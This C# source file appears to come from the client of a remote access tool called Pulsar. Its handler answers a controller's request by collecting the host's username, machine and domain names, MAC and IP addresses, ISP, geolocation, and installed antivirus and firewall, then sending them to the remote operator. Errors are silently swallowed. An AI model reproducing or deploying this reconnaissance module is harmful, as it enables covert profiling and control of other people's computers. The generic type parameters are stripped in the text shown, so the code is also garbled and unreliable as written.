using Pulsar.Client.Helper; using Pulsar.Client.IpGeoLocation; using Pulsar.Client.User; using Pulsar.Common.Messages; using Pulsar.Common.Networking; using System; using System.Collections.Generic; using System.IO; using System.Net.NetworkInformation; using Pulsar.Client.IO; using Pulsar.Common.Messages.Administration.SystemInfo; using Pulsar.Common.Messages.Other; namespace Pulsar.Client.Messages { public class SystemInformationHandler : IMessageProcessor { public bool CanExecute(IMessage message) => message is GetSystemInfo; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { switch (message) { case GetSystemInfo msg: Execute(sender, msg); break; } } private void Execute(ISender client, GetSystemInfo message) { try { IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; var geoInfo = GeoInformationFactory.GetGeoInformation(); var userAccount = new UserAccount(); string defaultBrowser = SystemHelper.GetDefaultBrowser(); List> lstInfos = new List> { new Tuple("Processor (CPU)", HardwareDevices.CpuName), new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), new Tuple("Video Card (GPU)", HardwareDevices.GpuNames), new Tuple("Username", userAccount.UserName), new Tuple("PC Name", SystemHelper.GetPcName()), new Tuple("Domain Name", domainName), new Tuple("Host Name", hostName), new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), new Tuple("System Directory", Environment.SystemDirectory), new Tuple("Uptime", SystemHelper.GetUptime()), new Tuple("MAC Address", HardwareDevices.MacAddress), new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), new Tuple("WAN IP Address", geoInfo.IpAddress), new Tuple("ASN", geoInfo.Asn), new Tuple("ISP", geoInfo.Isp), new Tuple("Antivirus", SystemHelper.GetAntivirus()), new Tuple("Firewall", SystemHelper.GetFirewall()), new Tuple("Time Zone", geoInfo.Timezone), new Tuple("Country", geoInfo.Country), new Tuple("Default Browser", defaultBrowser) }; client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); } catch { } } } }